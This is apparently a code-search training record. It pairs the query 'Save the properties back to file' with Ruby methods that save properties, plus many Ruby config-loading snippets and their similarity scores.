@propertiesFile)\n @properties = Properties.new(\"Core configuration file\", \n \"1.0\", \n @bus[\"/system/properties\"], \n @propertiesFile)\n @properties[\"version/major\"] = FreeBASE::VERSION_MAJOR\n @properties[\"version/minor\"] = FreeBASE::VERSION_MINOR\n @properties[\"version/release\"] = FreeBASE::VERSION_RELEASE\n else\n @properties = Properties.new(\"Core configuration file\", \n \"1.0\", \n @bus[\"/system/properties\"], \n @propertiesFile)\n end\n end", "def initialize(file)\n @file = file\n @properties = {}\n IO.foreach(file) do |line|\n # skip the commented lines\n next if line =~ /^\\s*?#/\n @properties[$1.strip] = $2 if line =~ /([^=]*)=(.*)\\/\\/(.*)/ || line =~ /([^=]*)=(.*)/\n end\n end", "def load_file(file); end", "def read_prop_file(prop_file)\n props = {}\n File.open(prop_file, 'r') do |f|\n f.each_line do |line|\n props[$1] = $2 if line =~ /^export (.*)=(.*)$/\n end\n end if File.exists?(prop_file)\n props\nend", "def load_from_file filename\n fnm = File.exist?(filename) ? filename : File.join(@wd,filename)\n load_configuration(fnm)\n end", "def load(filepath)\n @proxies = YAML.load(File.read(filepath))\n end", "def load(file = nil)\n @file = file if file\n @cfg = YAML.load_file(@file)\n end", "def load_properties\n # the properties file\n file = default_properties_file\n # the access properties\n props = file && File.exists?(file) ? load_properties_file(file) : {}\n # Load the Java application jar path.\n path = props[:classpath] || props[:path] || infer_classpath\n Java.expand_to_class_path(path) if path\n # Get the application login properties from the remoteService.xml, if necessary.\n unless props.has_key?(:host) or props.has_key?(:port) then\n url = remote_service_url\n if url then\n host, port = url.split(':')\n props[:host] = host\n props[:port] = port\n end\n end\n unless props.has_key?(:database) then\n props.merge(infer_database_properties)\n end\n props\n end", "def initialize(filename, read_properties=true)\n end", "def initialize(filename, read_properties=true)\n end", "def properties_file\n File.join(@base_path, PROP_FILE)\n end", "def readProperties\n @propertiesFile = \"#{File.expand_path(File.dirname($0))}/../../conf/ddbt.properties\"\n @properties = {}\n IO.foreach(@propertiesFile) do |line|\n @properties[$1.strip] = $2 if line =~ /([^=]*)=(.*)\\/\\/(.*)/ || line =~ /([^=]*)=(.*)/\n end\nend", "def load_properties( params )\n opt = @options.merge( params )\n loader = @loader_klass.new( opt )\n loader.properties\n end", "def load_file(file)\n File.open(file, \"r\") { |f| load(f) }\n end", "def load_file(filename); end", "def load_file(filename); end", "def convert_to_property\n json = JSON.load_file(@file_path, symbolize_names: true)\n properties = []\n json.each {|prop| \n new_property = Property.new(prop[:type], prop[:weekly_rent], prop[:landlord], prop[:tenant], prop[:address], prop[:status])\n properties.push(new_property)\n }\n return properties\n end", "def load(file); end", "def load(fn)\n if File.file?(fn)\n begin\n File.open(fn).each do |line|\n #peel off terminators/leading spaces, etc.\n line.strip!\n\n #ignore comment lines...\n if (line[0..0]!=\"#\")\n keyval = line.split(\"=\") # split on equal sign\n\n #ignore blank lines\n if keyval.size>0\n key = keyval[0].strip\n value = keyval[1].strip\n self[key] = value\n end\n end\n end\n rescue\n raise \"Error: trouble loading data from file: #{fn}.\\nDetails: #{$!}\"\n end\n else\n raise \"Error: cannot find configuration file: #{fn}.\\nDetails: File not found.\"\n end\n end", "def load_file(filename='~/grapevine.yml')\n filename = File.expand_path(filename)\n hash = YAML.load(File.open(filename))\n load(hash)\n end", "def read_config_file(file); end", "def load config_file\n YAML.load_file(config_file).each do |parameter,value|\n instance_variable_set( \"@#{parameter}\", value )\n end\n end", "def initialize file\n @file = file\n @properties = {}\n# IO.foreach(file) do |line|\n# @properties[$1.strip] = $2 if line =~ /([^=]*)=(.*)\\/\\/(.*)/ || line =~ /([^=]*)=(.*)/\n# @properties[$1.strip] = $2 if line =~ /([^=]*)=(.*)\\/\\/(.*)/ || line =~ /([^=]*)=(.*)/\n# end\nFile.open(file, 'r') do |properties_file|\n properties_file.read.each_line do |line|\n line.strip!\n if (line[0] != ?# and line[0] != ?=)\n i = line.index('=')\n if (i)\n @properties[line[0..i - 1].strip] = line[i + 1..-1].strip\n else\n @properties[line] = ''\n end\n end\n end\n end\nend", "def load_from_file(path)\n YAML.load_file(path).each { |n,v| instance_variable_set(n, v) }\n end", "def fromFile( filename ) \n lines = IO.readlines( filename )\n loadAll( lines )\n end", "def load(file_path); end", "def load(file_path); end", "def load_from_file!(file_path)\n raise IOError, \"File #{file_path} not exist\" unless File.exist?(file_path)\n raw_data = IO.read(file_path)\n load_from_json!(raw_data)\n end", "def load_from_file(filename)\n load_from_string(File.read(filename))\n end", "def load_file!(file)\n if File.file?(file)\n yaml = %w{.yaml .yml}.include?(File.extname(file))\n text = File.read(file)\n if yaml or /\\A---/ =~ text\n #text = ERB.new(text).result(Object.new.instance_eval{binding})\n data = YAML.load(text)\n data.each do |k,v|\n __send__(\"#{k}=\", v)\n end\n else\n # TODO: Should we really do this here?\n instance_eval(text, file, 0)\n end\n end\n end", "def load(file)\n File.open(path(file)).read\n end", "def load_config(file)\n @config = YAML.load_file(file)\n end", "def load(file)\r\n if file == String # does this work?\r\n @path = file\r\n end\r\n\r\n @reader = Reader.new(file)\r\n load_section self, @reader\r\n @reader.close\r\n end", "def load_config_file\n raise \"No config file set\" if config_file.nil?\n raise \"File #{config_file} does not exist\" unless File.file?(config_file)\n @config = YAML.load_file(config_file)\n @config_file_loaded = true\n @config.each { |k, v| send(\"#{k}=\", v) }\n end", "def load(file)\n file.chomp!(\"\\n\")\n component_strings = split_to_strings(file, ';')\n for component_string in component_strings\n load_component(component_string)\n end\n end", "def load!( file )\n Yell.new Yell::Configuration.load!(file)\n end", "def load_file(path)\n @configuration_data = YAML.load_file(path)[CONFIGURATION_KEY]\n end", "def load(filename)\n\t\t\traise ArgumentError.new unless filename\n\n\t\t\toptions = YAML::load(IO.read(filename))\n\t\t\tif(options)\n\t\t\t\tself.configure(options)\n\t\t\tend\n\t\tend", "def load_file(file_path = nil)\n file_path ||= File.expand_path(\"./config.yml\") if File.exists?(\"./config.yml\")\n file_path ||= DEFAULT_CONFIG_PATH\n\n reset\n\n YAML.load_file(file_path).tap do |config|\n @artist = Coerce.string(config[\"artist\"])\n @copyright = Coerce.string(config[\"copyright\"])\n\n (config[\"cameras\"] || []).each do |camera|\n @cameras << Camera.new(camera)\n end\n end\n end", "def load\r\n return unless File.exist?(STORAGE)\r\n\r\n props = YAML.load(File.read(STORAGE))\r\n props.each{|k, v| instance_variable_set(\"@#{k}\", v) }\r\n end", "def load(filename)\n end", "def load\n yaml = YAML.load_file(@file_path)\n yaml.each {|k, v| interpolate_setting(yaml, v)}\n settings = OpenStruct.new\n add_hash(settings, yaml)\n\n @lock.synchronize do\n @yaml = yaml\n @settings = settings\n end\n rescue\n puts \"Failed to load file: #{@file_path}\\n#{$!}\"\n end", "def load_file(config_file)\n return unless File.exists?(config_file)\n\n file_data = YAML.load_file(config_file) || {}\n\n # set up required keys\n file_data['required'] ||= []\n file_data['required'].each do |key|\n required.push(Util.normalize(key))\n end\n\n # load up the environment-specific data\n file_data['environments'] ||= {}\n @data = file_data['environments'][environment] || {}\n end", "def load_plist(file)\n NSMutableDictionary.dictionaryWithContentsOfFile(file)\n end", "def from_file(file)\n from_s Utils::read_file file\n end", "def from_file(file)\n from_s Utils::read_file file\n end", "def load_file(filename)\n instance_eval File.read(filename), filename, 1\n self\n end", "def load(file)\n return false unless File.exists?(file)\n @settings = settings.merge(YAML::load_file(file)).symbolize_keys\n end", "def load\n if File.exists? @file\n @main = YAML::load_file @file\n else\n self.load_defaults\n end\n end", "def load(filename)\n update! YAML.load_file(filename)\n end", "def load_from_file(file_path)\n require \"erb\"\n opts = YAML.load(ERB.new(File.read(file_path)).result) || {}\n symbolize_keys(opts)\n end", "def load(filename)\n @config.load(filename)\n @rules.concat(@config.rules)\n self\n end", "def load\r\n\t\tload_file\r\n\t\tconfigure\r\n\tend", "def load(args)\n YAML::load_file(args[:file_name])\n end", "def load(filename)\n\t\tend", "def load( filepath )\n unserialize( IO.read( filepath ) )\n end", "def load_hash(file_path) \n file=File.read(file_path)\n JSON.parse(file)\n end", "def load_hash(file_path) \n file=File.read(file_path)\n JSON.parse(file)\n end", "def load_configuration(name, *files)\n files.each do |file|\n if not File.exist?(file)\n update_configuration(name, Configuration::SimpleConfiguration.new)\n elsif %w(.yaml .yml).include?(File.extname(file).downcase)\n @logger.finer(\"Loading '#{file}' as '#{name}'...\") if defined? @logger\n update_configuration(name, Configuration::YamlConfiguration.new(file))\n else\n raise IOError.new(\"Don't know how to load property file '#{file}'\")\n end\n end\n end", "def load(file)\r\n help = \"Use `srcpress gen-config` to generate a template config file\"\r\n Message::Error.no_file(\"config\", file, help) unless File.exist?(file)\r\n\r\n press_yml = YAML.load_file(file)\r\n self.output = press_yml[\"OutputFile\"]\r\n self.ovr_output = press_yml[\"OverrideOutput\"]\r\n self.import_kwords = press_yml[\"ImportKeywords\"]\r\n\r\n press_yml[\"FileOrder\"]\r\n end", "def load_from_file!\n return unless File.exists?(uservoice_configuration_file)\n\n config = ERB.new(IO.read(uservoice_configuration_file)).result\n configuration = YAML::load(config)\n self.merge!(configuration[\"uservoice\"])\n end", "def load_config(configfile)\n config = YAML.load_file(configfile)\n config.each { |key, value|\n instance_variable_set(\"@#{key}\", value) \n }\n end", "def load!(file)\n hash = {}\n YAML.load_file(file).each do |k, v|\n hash[Pathname(k)] = v.map{|vv| Pathname(vv) }\n end\n replace(hash)\n end", "def load(file)\n data = File.read(file)\n JSONL.parse(data)\n end", "def load_attributes\n @attributes = YAML.load_file(file).inject({}){|h,(k,v)| h[k.to_sym] = v;h}\n end", "def _load(options = {})\n # Clean up and symbolize all the keys then merge that with the existing properties\n options.keys.each do |key|\n property_name = key.to_s.underscore.to_sym\n if respond_to? \"#{property_name}=\"\n send(\"#{property_name}=\",options.delete(key))\n else\n options[property_name] = options.delete(key)\n end\n end\n\n properties.merge! options\n end", "def load_settings(filename)\n require('yaml')\n\n # Check if a settings file exists. If it does, load all relevant properties\n settings = {}\n if File.exist?(filename)\n settings = YAML.load(File.open(filename))\n\n Log.instance.info(\"Settings loaded from [ #{filename} ]\")\n end\n\n settings\n end", "def load(environment=nil)\n load_from_file(file, environment)\n end", "def load_file(filename)\n File.read File.join(\"plugins\",name,filename)\n end", "def load_from_file(filename, environment)\n if File.exist?( filename ) then\n @loaded_from = filename\n configuration = YAML.load_file(filename)\n if environment_based?\n configuration = configuration[environment] or raise Error, \"environment #{environment} \" +\n \"not found in #{filename}\"\n configuration\n end\n keys.each do |k|\n raise Error, \"key missing: #{k}\" unless configuration.has_key?( k )\n end\n configuration.extend(AlternateConfig)\n configuration.config_file = self\n configuration\n else\n raise Error, \"file not found: #{filename}\"\n end\n end", "def load filename = Filename\r\n settings = eval File.read filename\r\n clear\r\n settings.each{|category_name,category_data|\r\n add_category SettingsCategory.new category_name, category_data\r\n }\r\n rescue Errno::ENOENT\r\n @logger.fatal \"Settings file '#{filename}' not found\"\r\n raise\r\n end", "def load_from_file(dir, file=\"/specs.def\")\n JSON.parse(IO.read(File.join(dir, file))) rescue raise ArgumentError\n end", "def load_file(path)\n load(path)\n end", "def initialize(file)\n @name = PropertyName.new.read(file).name.val[0...-1]\n if @name != 'None'\n @data = strip_data(PropertyData.new.read(file), file)\n else\n @data = 'None'\n end\n end", "def load_config(filename)\n eval(File.read(filename), binding)\n end", "def load_yml(yml_file)\n if File.exist?(yml_file)\n yml_cfg = OpenStruct.new(YAML.load_file(yml_file))\n yml_cfg.jira_properties.each do |k, v|\n instance_variable_set(\"@#{k}\", v)\n end\n else\n raise StandardError, \"unable to find yml config file\"\n end\n end", "def load_setup\n setupFile = @properties[\"config/setup_file\"]\n return unless (setupFile and File.exist?(setupFile))\n file = File.new(setupFile)\n setup = file.read\n file.close\n instance_eval(setup)\n end", "def load_file( file )\n\t\tbegin\n\t\t\t@filename = file\n\t\trescue Exception => e\n\t\t\tbaxter( e )\n\t\tend\n\tend", "def load(file)\n unless File.exist?(file)\n raise ConfigError.new(File.dirname(file)),\n \"expected an autoproj configuration in #{File.dirname(file)}, \"\\\n \"but #{file} does not exist\"\n end\n\n data = Autoproj.in_file(file, Autoproj::YAML_LOAD_ERROR) do\n YAML.safe_load(File.read(file)) || {}\n end\n\n if data[\"layout\"]&.member?(nil)\n Autoproj.warn \"There is an empty entry in your layout in #{file}. All empty entries are ignored.\"\n data[\"layout\"] = data[\"layout\"].compact\n end\n\n @file = file\n initialize_from_hash(data)\n end", "def load_attributes\n @attributes = MultiJson.decode(File.new(file, 'r').read)\n end", "def initialize_connection_from_file(file_path)\n raise Errno::ENOENT unless File.exists?(file_path)\n file = File.open(file_path)\n config = symbolize_keys(YAML::load(file.read))\n self.initialize_connection(config[:lobby], config[:options])\n end", "def postgresql_conf_load_file(file)\n return unless ::File.exist?(file)\n\n ::IniFile.load(file).to_h\n end", "def load(path, env)\n yaml_safe_load(File.open(path).read)[env].each do |section, settings|\n section = instance_variable_get(\"@#{section}\")\n next unless section\n settings.each do |setting, value|\n unless section == @index || section == @source\n value = interpolate_string(value, nil)\n end\n setter(section, setting, value)\n end\n end\n end", "def load(filename)\n files= filename.include?(',') ? filename.split(',') : [filename]\n @yml = files.inject({}) do |total_merge,file|\n total_merge.merge!(::YAML.load(ERB.new(File.read(\"#{yml_directory}/#{file}\")).result(binding)))\n end\n end", "def load_config(filename)\n\t\t\tconfig = read_config(filename)\n\t\t\t@servers = config[:servers]\n\t\t\t@email_addr = config[:email][:addr]\n\t\t\t@email_sender = config[:email][:sender]\n\t\tend", "def load_file_contents(filename)\n File.open(filename).readlines\n end", "def import_file! file\n # if given a file name, try opening it\n if file.instance_of? String\n _file = File.open file\n elsif file.instance_of? File\n _file = file\n else\n raise \"type not recognized: #{file.class.name}\"\n end\n\n puts \"- Iterating over keys in #{_file.inspect}\" if @verbose\n \n # iterate over keys\n YAML::load(_file).each do |env, env_hash|\n env_hash.each do |app, app_hash|\n app_hash.each do |namespace, namespace_hash|\n namespace_hash.each do |identifier, value|\n k = \"#{namespace}:#{identifier}\"\n set! k, value, app, env\n end\n end\n end\n end\n end", "def process_config_file(path)\n RFlow.logger.info \"Processing config file (#{Dir.getwd}) '#{path}'\"\n load path\n end", "def load_from_config_file(config_file)\n user_config_file = File.expand_path(config_file)\n\n if File.exists? user_config_file\n log \"Loading config from file: #{user_config_file}\"\n\n begin\n @config_from_file =\n instance_eval(File.read(user_config_file), user_config_file)\n log \"Got new config from file: #{user_config_file}\"\n rescue LoadError\n raise Tailor::RuntimeError,\n \"Couldn't load config file: #{user_config_file}\"\n end\n else\n abort \"No config file found at #{user_config_file}.\"\n end\n end", "def read_file(filename)\n JSON.parse(File.read(\"spec/fixtures/files/#{filename}\"))\n end", "def read_file(path)\r\n YAML::load( File.open(path) )\r\n end", "def load(filename)\n file_content = File.open(filename).read\n TOMLP::Parser.new(file_content).parse\n end", "def load\n if @file && File.exist?(@file) && File.stat(@file).size > 0\n h = YAML::load open(@file, 'r').read\n h.each { |k,v| self[k.to_sym] = v}\n return true\n end\n false\n end", "def load_config(config_file)\n YAML.load(File.open(config_file))\nend" ]
[ "0.74696195", "0.7174317", "0.7119959", "0.70425785", "0.70245683", "0.6925434", "0.68896997", "0.6869388", "0.68276376", "0.6787021", "0.6736639", "0.670938", "0.6686991", "0.6632225", "0.6617322", "0.6617322", "0.6609608", "0.6599762", "0.6575841", "0.6575123", "0.6553132", "0.6553132", "0.65406543", "0.6504384", "0.6478112", "0.64776605", "0.6476824", "0.64737105", "0.6463722", "0.64599293", "0.64153767", "0.6401667", "0.6401667", "0.6392239", "0.63465106", "0.63199157", "0.63126934", "0.6303887", "0.6282971", "0.62829345", "0.6262304", "0.6251266", "0.6248658", "0.62480676", "0.6246534", "0.62453073", "0.6243487", "0.6241912", "0.62346053", "0.62288547", "0.6224871", "0.6224871", "0.62233907", "0.61800957", "0.6172253", "0.61721045", "0.61692464", "0.6163353", "0.6154451", "0.614915", "0.61408305", "0.61349124", "0.6116391", "0.6116391", "0.6113472", "0.6106469", "0.61058706", "0.61050385", "0.60845333", "0.6060029", "0.6052667", "0.60514164", "0.6043904", "0.6028266", "0.60225433", "0.60148084", "0.60086834", "0.59913015", "0.598673", "0.5963796", "0.594347", "0.5941082", "0.5937034", "0.5936215", "0.5920264", "0.5919903", "0.5918279", "0.59146714", "0.59066105", "0.59010345", "0.5898939", "0.58901316", "0.58837616", "0.5879317", "0.58721435", "0.58671856", "0.5859743", "0.5858629", "0.58576006", "0.5856334" ]
0.7158013
2
Save the properties back to file
def save filename File.open(filename, 'w') { |file| @translated.each {|value| file.write("#{value}") } } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save\n file = File.new(@file, 'w+')\n @properties.each { |key, value| file.puts \"#{key}=#{value}\\n\" }\n end", "def save\n file = File.new(@file,\"w+\")\n @properties.each {|key,value| file.puts \"#{key}=#{value}\\n\" }\n file.close\n end", "def save\n file = File.new(@file,\"w+\")\n @properties.each {|key,value| file.puts \"#{key}=#{value}\\n\" }\nend", "def save filename\n File.open(filename, 'w') { |file| @properties.each {|key,value| file.write(\"#{key}:#{value},\\n\") } } \n end", "def save\n File.open(file, 'w') do |f|\n self.attributes.each {|key, value| f.write \"#{key}: '#{value}'\\n\" }\n end\n end", "def write_properties\n buf = @repo_properties.merge( { :name => name,\n :description => description,\n :created => created\n } ).to_json\n File.open( properties_file, 'w' ) { |f| f.write buf }\n end", "def _save\n properties\n end", "def save\n write_properties\n notify(EVENT_SAVE, self)\n end", "def save\r\n props = {}\r\n instance_variables.each{|v|\r\n # props[v.to_s[1..-1]] = instance_variable_get(\"#{v}\")\r\n p = v.to_s[1..-1]\r\n props[p] = self.send(p)\r\n }\r\n File.write(STORAGE, YAML.dump(props))\r\n end", "def save_settings\n File.open(@path, \"w\") do |file|\n file.write @settings.to_yaml\n end\n end", "def save(properties)\r\n File.open(@filename, \"w:\" + PropertyFileAttributes::CATEGORY_ENCODINGS[@category]) do |f| \r\n properties.each do |k,v|\r\n property = k\r\n text = v\r\n #Since our patches should be in UTF-8, convert strings to latin1 for any latin1 files.\r\n if PropertyFileAttributes::CATEGORY_ENCODINGS[@category] != \"UTF-8\"\r\n property = property.encode(PropertyFileAttributes::CATEGORY_ENCODINGS[@category])\r\n text = text.encode(PropertyFileAttributes::CATEGORY_ENCODINGS[@category])\r\n end\r\n f.puts(\"#{property}=#{text}\")\r\n end\r\n end\r\n end", "def save\n ::File.open(@file, \"w\") { |file| file << self.to_hash.to_yaml }\n end", "def save\n file = File.new(@file,\"w+\")\n index =0\n while index < @max_lines do\n file.puts @properties[index]\n index +=1\n end\nend", "def save # :nodoc:\n if @file\n File.open(SAVE_FILE, 'w') do |f|\n Marshal.dump(file, f)\n end\n else\n forget\n end\n end", "def save # :nodoc:\n if @file\n File.open(SAVE_FILE, 'w') do |f|\n Marshal.dump(file, f)\n end\n else\n forget\n end\n end", "def save\n File.open(SETTING_FILE, 'w') do |file|\n file.write @values.to_yaml\n end\n end", "def save_to_file(path)\n variables_to_save = instance_variables.reject { |v| v =~ /_proc$/ || v =~ /^@med/ }\n File.open(path, 'w') { |f| f.puts(\n variables_to_save.inject({}) { |h,n| h[n] = instance_variable_get(n); h }.to_yaml\n ) }\n end", "def save\n if self.valid?\n # encrypt_password\n file = File.new(FILE_PATH, \"w+\")\n YAML::dump(self.attributes, file)\n file.close\n end\n end", "def save_settings\n open(@@FN_CREDENTIALS, \"wb\") { |fd| fd.write(YAML::dump(@credentials)) }\n open(@@FN_CONFIG, \"wb\") { |fd| fd.write(YAML::dump(@configuration)) }\n open(@@FN_SETTINGS, \"wb\") { |fd| fd.write(YAML::dump(@settings)) }\n end", "def save_settings!\n File.open(settings_path, \"w\") { |f| f << settings.to_nested_hash.to_yaml }\n settings.create_accessors!\n end", "def save\n File.open(@file, 'w') do |file|\n file.write(Psych.dump(@params))\n end\n @saved = true\n end", "def flush filename = Filename\r\n #puts self.to_s\r\n File.open(filename,\"w\"){|file|\r\n file.print self.to_s\r\n }\r\n rescue\r\n @logger.fatal \"Cannot save settings to file '#{filename}'\"\r\n raise\r\n end", "def save()\n File.open(CONFIG_FILE, 'w'){ |f| f.write config.to_yaml } # Store\n end", "def save\n # Nothing in base class. This should be used to persist settings in\n # subclasses that use files.\n end", "def save_properties!(headers={})\n @service.save_blob_properties(self, headers)\n end", "def persist\n settings = {\n area: @focus[:key]\n }\n File.open(@path, 'w') do |file|\n file.write settings.to_yaml\n end\n end", "def save_settings settings\n File.open(@settings_file, 'w') {|file| file << YAML::dump(settings)}\n end", "def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end", "def save_to(filepath)\n File.open(filepath, \"w\") do |fp|\n fp.write(self.to_s)\n end\n end", "def save(filepath)\n File.open(filepath, \"w\") do |f|\n f.write((@proxies + @dead_proxies).to_yaml)\n end\n end", "def save_file\r\n @saved = true\r\n saving\r\n Dir.mkdir(\"saves\") unless Dir.exists? \"saves\"\r\n File.open(\"my_save.yaml\", \"w\") {|f| f.puts YAML::dump(self) }\r\n end", "def save\n File.open(file_name, 'w') { |f| f.write config.to_yaml }\n end", "def save_properties(options = {})\n Config::Collection.save(options)\n end", "def save(fn)\n begin\n File.open(fn,\"w\") do |file|\n output = \"\"\n self.each do |key, value|\n output << key.to_s + \"=\" + value.to_s + \"\\r\\n\"\n end\n\n file.print output\n file.close\n end\n rescue\n raise \"Error: trouble saving configuration file: #{fn}.\\nDetails: #{$!}\"\n end\n end", "def write()\n open(CurrentFilename, 'w'){|fp|\n Marshal.dump(@current_setting, fp)\n }\n end", "def save\n File.open(SaveLocation, 'w') do |file|\n file.puts @value.join(\"\")\n file.puts @progress.join(\"\")\n file.puts @bad_guesses.join(\"\")\n end\n end", "def save(path)\n File.open(path,\"w\"){|out| out.puts Marshal.dump(self) }\n end", "def save( file )\n begin\n File.open( file, 'w' ) { |f| f.write( YAML.dump( self ) ) }\n rescue\n File.open( file, 'wb' ) { |f| f.write( Marshal.dump( self ) ) }\n end\n end", "def save_settings\n File.open( @settings_filename, 'w' ) do |out|\n YAML.dump( @app_settings, out )\n end\n @log.debug \"Settings saved into #{@settings_filename}\"\n end", "def save(file = nil)\n @file = file if file\n raise Error.new(Error::FileError) unless @file\n File.open(@file, 'w') do |f|\n f.puts(@prefix) if @prefix\n YAML.dump(@cfg, f)\n f.puts ''\n f.puts(@suffix) if @suffix\n end\n end", "def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end", "def save\n open @config_path, 'w' do |io|\n io.write({'files' => @files.collect(&:to_hash)}.to_yaml)\n end\n end", "def save!\n filepath.dirname.mkpath\n filepath.open( \"w\" ) do |f|\n f << YAML.dump( @entries )\n end\n clear_modified\n true\n end", "def save\n save_to_file(@output_file, @contents)\n end", "def save!\n raise Informative, 'This XCScheme object was not initialized ' \\\n 'using a file path. Use save_as instead.' unless @file_path\n File.open(@file_path, 'w') do |f|\n f.write(to_s)\n end\n end", "def save\n File.write(yfile, to_yaml)\n end", "def save(filename)\n File.write(filename, self.to_s)\n end", "def save\n if file\n # Ensure the current store has been loaded before we try to re-write it, this\n # is necessary if the program generator has crashed before creating a test\n store\n p = Pathname.new(file)\n FileUtils.mkdir_p(p.dirname)\n File.open(p, 'w') { |f| f.puts JSON.pretty_generate(store) }\n end\n end", "def save_configuration\n File.open(config_file, \"w\") do |file|\n file.write(YAML.dump(@config))\n end\n end", "def persist!\n ::File.write(self.path, Marshal.dump(self))\n rescue => e\n puts e.message\n exit\n end", "def write(property)\n remove_existing(:file)\n\n use_temporary_file = write_temporary_file?\n if use_temporary_file\n path = \"#{self[:path]}.puppettmp_#{rand(10000)}\"\n path = \"#{self[:path]}.puppettmp_#{rand(10000)}\" while ::File.exists?(path) or ::File.symlink?(path)\n else\n path = self[:path]\n end\n\n mode = self.should(:mode) # might be nil\n umask = mode ? 000 : 022\n mode_int = mode ? symbolic_mode_to_int(mode, 0644) : nil\n\n content_checksum = Puppet::Util.withumask(umask) { ::File.open(path, 'wb', mode_int ) { |f| write_content(f) } }\n\n # And put our new file in place\n if use_temporary_file # This is only not true when our file is empty.\n begin\n fail_if_checksum_is_wrong(path, content_checksum) if validate_checksum?\n ::File.rename(path, self[:path])\n rescue => detail\n fail \"Could not rename temporary file #{path} to #{self[:path]}: #{detail}\"\n ensure\n # Make sure the created file gets removed\n ::File.unlink(path) if FileTest.exists?(path)\n end\n end\n\n # make sure all of the modes are actually correct\n property_fix\n\n end", "def save(ruleset=nil)\n if ruleset\n ruleset = getruleset(ruleset)\n refresh(ruleset)\n saved[ruleset.name.to_s] = current[ruleset.name.to_s]\n else\n refresh\n saved = current\n end\n\n dir = File.dirname(filename)\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n File.open(filename, 'w') do |f|\n f << to_s\n end\n end", "def save!; File.write @path, @data end", "def save\n dump = Marshal.dump(self)\n file = File.new(FILENAME, 'w')\n file = Zlib::GzipWriter.new(file)\n file.write(dump)\n file.close\n puts \"Bot state saved.\"\n end", "def save\n File.open(file_path, 'w') do |file|\n YAML.dump(data, file)\n end\n end", "def save!\n FileUtils.mkdir_p File.dirname(self.file)\n\n File.open(self.file, \"w+\") do |f|\n f << %(#{self.namespace}.translations || (#{self.namespace}.translations = {});\\n)\n self.translations.each do |locale, translations_for_locale|\n f << %(#{self.namespace}.translations[\"#{locale}\"] = #{translations_for_locale.to_json};\\n);\n end\n end\n end", "def save\n File.open(filepath, 'w') do |file|\n file.write to_json + \"\\n\"\n end\n end", "def save\n puts \"Saving project information to #{project_file}\"\n json = MultiJson.encode(@attributes)\n File.open(project_file, 'w') { |f| f.write(json) }\n end", "def save!(file_path)\n File.open(file_path, \"w\") do |f|\n f.write(YAML.dump(@log))\n end\n end", "def save_settings(filename, settings)\n require 'yaml'\n\n File.open(filename, 'w') do |file|\n file.write(settings.to_yaml)\n Log.instance.info(\"Settings written to [ #{filename} ]\")\n end\n end", "def save_config\n plist = CFPropertyList::List.new\n plist.value = CFPropertyList.guess(@config)\n plist.save(@file, CFPropertyList::List::FORMAT_XML)\n end", "def save(hash)\n File.open(\"#{@directory}/#{@store}.yml\", 'w+') {|f| f.write(hash.to_yaml) }\n end", "def save_data\n puts \"saving data\"\n\n File.open(generate_filename(self), \"w\") do |f|\n f.write(ostruct_to_hash(self.json).to_yaml)\n end\n end", "def save(file)\n serialized_vars = []\n vars.each do |k, v|\n if marked_for_save.include?(k)\n serialized_vars << { 'name' => k, 'value' => v }\n end\n end\n File.open(file, 'w') do |out|\n YAML.dump(serialized_vars, out)\n end\n end", "def save\n File.open(@base_file, \"w\") do |f|\n f.puts(JSON.pretty_generate(@config))\n end\n File.open(@completions_file, \"w\") do |f|\n f.puts(JSON.pretty_generate(@completions.to_a))\n end\n end", "def save klass, filename\n fp = File.open(filename, 'w')\n Marshal.dump(klass, fp)\n fp.close\n end", "def save klass, filename\n fp = File.open(filename, 'w')\n Marshal.dump(klass, fp)\n fp.close\n end", "def save\n return if !self.valid?\n\n File.open(@file, \"w\") do |f|\n NWN::Gff.write(f, :gff, @obj)\n end\n end", "def save\n File.open(path, 'w+') do |f|\n f.write(to_json)\n end\n\n true\n end", "def save\n \tdata = self\n \t\n \tFile.open('store.yml','w') do |f|\n \t\tf.write(data.to_yaml)\n \tend\n \tputs data\n \tputs \"Saved!\"\n \tputs \"\"\n end", "def save\n pathname.open('w') { |file| file.write(data) }\n end", "def store\n File.open(@config_file, 'w') do |f|\n f.chmod(0600)\n f.write(@config.to_json)\n end\n end", "def save\n File.open(@path, \"w\") do |file|\n Psych.dump({version: VERSION}, file)\n doc = {}\n @stats.each_pair do |article_path, article_stat|\n doc[article_path] = {\n stat: article_stat,\n related: @related[article_path] || [],\n }\n end\n Psych.dump(doc, file)\n end\n end", "def create_save\n @save_data = {:turns => @turns,:guesses => @guesses,:secret_word => @secret_word, :hidden_word => @hidden_word}\n save = File.new(\"./lib/save.txt\", \"w+\")\n save.puts JSON::dump(save_data)\n save.close\n end", "def store\n File.open(@file_name, 'w') do |file|\n file.write YAML::dump(@data)\n end\n end", "def save_file\n raise ArgumentError, 'Need a Path to save the file' if @path.nil?\n File.open(@path, 'w') do |f|\n f.write to_s\n end\n end", "def save\n File.open(path, 'w+') { |f| f.write(to_rb + \"\\n\") }\n end", "def create_save\n @save_data = {:turns => @turns,:guesses => @guesses,:secret_word => @secret_word, :hidden_word => @hidden_word}\n save = File.new(\"save.txt\", \"w+\")\n save.puts JSON::dump(save_data)\n save.close\n end", "def save\n if !Dir.exists? @config_directory\n FileUtils.mkdir_p @config_directory\n end\n\n open(@file, 'w').write @main.to_yaml\n end", "def save\n File.open(yaml_file, 'w') {|f| f.write(to_yaml) }\n end", "def save_to(path); end", "def save(overwrite=true)\n write_file(overwrite, @filename)\n end", "def save\n @filename = @filename || gen_filename\n file = File.open(File.join(@dir, @filename), 'w') { |f|\n f.puts @issue.to_yaml\n }\n end", "def save(options = {})\n save_to(@path, options)\n end", "def yaml_save object, filename\n\tFile.open filename, 'w' do |f|\n\t\tf.write(object.to_yaml)\n\tend\nend", "def yaml_save object, filename\n\tFile.open filename, 'w' do |f|\n\t\tf.write(object.to_yaml)\n\tend\nend", "def save\n File.binwrite(file, JSON.pretty_generate(@cache))\n end", "def save\n return if saved?\n self.saved = true\n original_path = interpolate_path(:original)\n stream.write_to(original_path)\n end", "def save(file = '.cookies')\n File.write(file, to_a.to_yaml)\n end", "def yaml_save object, filename\nFile.open filename, 'w' do |f| f.write(object.to_yaml)\nend end", "def generate_save\n YAML.dump(self)\n end", "def save_keys\n key_file = File.open(key_file_path, 'w')\n\n key_file.write(YAML::dump(@@keys))\n\n key_file.close\n end", "def to_propertyfile_escaped_s\n 